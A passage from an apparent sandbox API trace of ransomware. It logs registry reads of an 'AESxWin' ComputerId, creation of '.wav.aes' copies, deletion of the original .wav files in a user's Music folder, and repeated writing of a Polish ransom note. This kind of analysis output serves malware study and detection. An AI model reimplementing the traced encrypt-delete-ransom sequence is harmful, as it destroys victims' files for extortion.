RegQueryValueExW (in: hKey=0x468, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x285baf4, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0091.516] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x65 [0091.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0091.516] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\d xgp5yxo\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x358 [0091.516] GetFileType (hFile=0x358) returned 0x1 [0091.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0091.516] GetFileType (hFile=0x358) returned 0x1 [0091.516] WriteFile (in: hFile=0x358, lpBuffer=0x2864b6c*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2864b6c*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0091.516] CloseHandle (hObject=0x358) returned 1 [0091.517] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0091.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav", lpFilePart=0x0) returned 0x49 [0091.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0091.542] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\b95u.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92fd9a0, ftCreationTime.dwHighDateTime=0x1d2f83a, ftLastAccessTime.dwLowDateTime=0x589db480, ftLastAccessTime.dwHighDateTime=0x1d2f961, ftLastWriteTime.dwLowDateTime=0x589db480, ftLastWriteTime.dwHighDateTime=0x1d2f961, nFileSizeHigh=0x0, nFileSizeLow=0x11904)) returned 1 [0091.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0091.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav", lpFilePart=0x0) returned 0x49 [0091.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0091.542] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\b95u.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x540 [0091.542] GetFileType (hFile=0x540) returned 0x1 [0091.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0091.542] GetFileType (hFile=0x540) returned 0x1 [0091.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav.aes", lpFilePart=0x0) returned 0x4d [0091.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0091.542] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\b95u.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0091.543] GetFileType (hFile=0x358) returned 0x1 [0091.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0091.543] GetFileType (hFile=0x358) returned 0x1 [0091.543] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0091.555] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0091.555] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0091.562] LocalFree (hMem=0x6ff3178) returned 0x0 [0091.562] GetAdaptersAddresses () returned 0x6f [0091.568] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0091.568] GetAdaptersAddresses () returned 0x0 [0091.573] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.579] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.579] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.632] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.632] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.638] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.638] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.644] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.645] LocalFree (hMem=0x7042020) returned 0x0 [0091.645] GetBestInterfaceEx (in: pDestAddr=0x2870c2c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0091.766] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\B95U.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\b95u.wav")) returned 1 [0091.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0091.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0091.767] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0091.767] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x540) returned 0x0 [0091.767] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0091.767] RegQueryValueExW (in: hKey=0x540, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2840368, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0091.767] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0091.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0091.767] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x358 [0091.767] GetFileType (hFile=0x358) returned 0x1 [0091.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0091.767] GetFileType (hFile=0x358) returned 0x1 [0091.768] WriteFile (in: hFile=0x358, lpBuffer=0x28493b8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x28493b8*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0091.768] CloseHandle (hObject=0x358) returned 1 [0091.768] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0091.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav", lpFilePart=0x0) returned 0x55 [0091.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0091.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\m9qfpaq6hssl8whb.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ded2e0, ftCreationTime.dwHighDateTime=0x1d2f549, ftLastAccessTime.dwLowDateTime=0x19d2c80, ftLastAccessTime.dwHighDateTime=0x1d2f739, ftLastWriteTime.dwLowDateTime=0x19d2c80, ftLastWriteTime.dwHighDateTime=0x1d2f739, nFileSizeHigh=0x0, nFileSizeLow=0x161ad)) returned 1 [0091.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0091.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav", lpFilePart=0x0) returned 0x55 [0091.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0091.799] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\m9qfpaq6hssl8whb.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0091.800] GetFileType (hFile=0x358) returned 0x1 [0091.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0091.800] GetFileType (hFile=0x358) returned 0x1 [0091.800] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav.aes", lpFilePart=0x0) returned 0x59 [0091.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0091.800] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\m9qfpaq6hssl8whb.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0091.800] GetFileType (hFile=0x468) returned 0x1 [0091.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0091.800] GetFileType (hFile=0x468) returned 0x1 [0091.800] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0091.808] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0091.808] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0091.815] LocalFree (hMem=0x6ff3178) returned 0x0 [0091.815] GetAdaptersAddresses () returned 0x6f [0091.820] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0091.820] GetAdaptersAddresses () returned 0x0 [0091.824] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.831] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.831] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.867] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.868] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0091.874] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0091.874] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0091.880] LocalFree (hMem=0x1c8ab8) returned 0x0 [0091.881] LocalFree (hMem=0x7042020) returned 0x0 [0091.881] GetBestInterfaceEx (in: pDestAddr=0x286b28c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0091.948] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\M9qFpAQ6hssl8wHB.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\m9qfpaq6hssl8whb.wav")) returned 1 [0091.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0091.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0091.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e59020, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf0e59020, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf0e59020, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0091.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0091.949] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0092.017] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav", lpFilePart=0x0) returned 0x4e [0092.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0092.017] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\mmtrdlygm.wav"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306be0d0, ftCreationTime.dwHighDateTime=0x1d2fa11, ftLastAccessTime.dwLowDateTime=0x941b3270, ftLastAccessTime.dwHighDateTime=0x1d2ff07, ftLastWriteTime.dwLowDateTime=0x941b3270, ftLastWriteTime.dwHighDateTime=0x1d2ff07, nFileSizeHigh=0x0, nFileSizeLow=0xbfa4)) returned 1 [0092.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0092.017] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav", lpFilePart=0x0) returned 0x4e [0092.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0092.017] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\mmtrdlygm.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x358 [0092.017] GetFileType (hFile=0x358) returned 0x1 [0092.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0092.017] GetFileType (hFile=0x358) returned 0x1 [0092.017] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav.aes", lpFilePart=0x0) returned 0x52 [0092.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0092.017] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav.aes" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\mmtrdlygm.wav.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x468 [0092.017] GetFileType (hFile=0x468) returned 0x1 [0092.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0092.017] GetFileType (hFile=0x468) returned 0x1 [0092.018] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0092.040] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0092.040] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0092.047] LocalFree (hMem=0x6ff3178) returned 0x0 [0092.047] GetAdaptersAddresses () returned 0x6f [0092.052] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0092.052] GetAdaptersAddresses () returned 0x0 [0092.057] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.063] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.063] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.072] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.072] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0092.078] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0092.078] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0092.084] LocalFree (hMem=0x1c8ab8) returned 0x0 [0092.085] LocalFree (hMem=0x7042020) returned 0x0 [0092.085] GetBestInterfaceEx (in: pDestAddr=0x28586e0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0092.181] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\MMTRDLYGm.wav" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\mmtrdlygm.wav")) returned 1 [0092.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0092.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0092.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e59020, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf0e59020, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf0e59020, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0092.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0092.182] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0092.227] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\om RIMvMjXnxZplIa-.wav", nBufferLength=0x105, lpBuffer=0x77ce6b4, 